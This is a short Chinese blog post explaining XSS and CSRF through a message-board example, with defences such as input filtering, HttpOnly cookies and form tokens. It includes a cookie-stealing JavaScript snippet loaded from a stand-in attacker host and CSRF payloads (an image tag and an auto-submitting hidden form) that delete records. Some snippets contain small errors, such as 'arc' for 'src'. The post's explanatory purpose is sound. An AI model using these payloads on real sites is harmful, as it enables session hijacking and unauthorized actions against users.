思考XSS攻击和跨站伪造请求CSRF

一、跨站脚本攻击 XSS

场景:获取用户Cookie,用于伪造登录。如java的JSESSIONID。

例子:有个留言板程序http://test.com/add.jsp, list.jsp

(1)恶意用户A留言, 内容<script>http://attack.com/attack.js</script>

http://attack.com/attack.js中将cookie保存到自己服务器。

var c=document.cookie;

var script =document.createElement('script');

script.src='http://test.com/index.php?c='+c; document.body.appendChild(script)

(2)合法用户遭受攻击

当管理员登录后,访问留言板列表页面http://test.com/list.jsp,自动访问了攻击者的attack.js。

管理员cookie被攻击者A获取。

(3)危害

攻击者伪造JSessionID Cookie,登录系统。

(4)防范方法:

这种session劫持主要靠XSS漏洞和客户端获取sessionId完成,一次防范分两步

1. 过滤用户输入,防止XSS漏洞

2. 设置sessionId的cookie为HttpOnly,使客户端无法获取。

 二、跨站伪造请求CSRF

场景:骗取用户执行高权限链接,删除、修改数据。

例子:有个留言板程序http://test.com/delete.jsp?id=1,只有管理员有权限,可以删除id为1的留言记录

攻击者想执行删除操作,但他没有权限,以下为攻击步骤:

(1)恶意用户制作一个页面http://attack.com/attack1.jsp

GET方式:

<img alt="" arc="http://test.com/delete.jsp?id=1"/>

POST方式: 

<body>
    <iframe display="none">
      <form method="post" action="http://test.com/delete.jsp">
        <input type="hidden" name="id" value="1">
                <input id="csfr" type="submit"/>
      </form>
    </iframe>

        <script type="text/javascript">
           document.getElementById('csfr').submit();
    </script>
  </body>

(2)发恶意邮件,诱骗管理员打开http://attack.com/attack1.jsp

(3)管理员不了解的情况下,就执行了删除。以为打开了图片或者空网页

(4)防范方法

1. 使用post,不使用get修改信息

2. 验证码,所有表单的提交需要验证码,但是貌似用起来很麻烦,所以一些关键的操作可以

3. 在表单中预先植入一些加密信息,验证请求是此表单发送

 

posted @ 2017-03-27 13:27  亚亚(资深程序员)  阅读(316)  评论(0)    收藏  举报